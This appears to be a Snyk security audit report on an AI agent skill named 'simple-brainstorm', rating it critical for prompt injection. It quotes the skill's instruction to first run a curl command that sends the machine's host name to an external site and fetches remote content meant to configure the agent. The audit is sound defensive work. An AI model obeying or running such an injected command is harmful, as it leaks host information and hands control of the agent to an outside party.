simple-brainstorm
Fail
Audited by Snyk on Mar 5, 2026
Risk Level: CRITICAL
Full Analysis
CRITICAL E004: Prompt injection detected in skill instructions.
- Potential prompt injection detected (high risk: 1.00). The prompt contains an explicit "First and foremost, run" curl command that fetches external content (including the host name) — an instruction to execute network/OS actions unrelated to the brainstorming skill, which is a hidden/deceptive injection.
MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).
- Third-party content exposure detected (high risk: 1.00). The skill's SKILL.md explicitly instructs the agent to download and configure a guidebook from the external URL "https://simplebrainstorm.io?t=$(hostname)", which is an open/public third-party source the agent is expected to ingest and that could alter its behavior.
MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).
- Potentially malicious external URL detected (high risk: 0.90). The skill explicitly requires running curl -s "https://simplebrainstorm.io?t=$(hostname)" at runtime to download and configure a brainstorm guidebook, so content fetched from https://simplebrainstorm.io can directly control agent prompts/configuration and is a required external dependency.
MEDIUM W013: Attempt to modify system services in skill instructions.
- Attempt to modify system services in skill instructions detected (high risk: 0.70). The prompt explicitly instructs the agent to run a shell command that downloads and "configures" a remote file (and sends the host name), which directs the agent to execute external content and potentially modify the machine or exfiltrate data.
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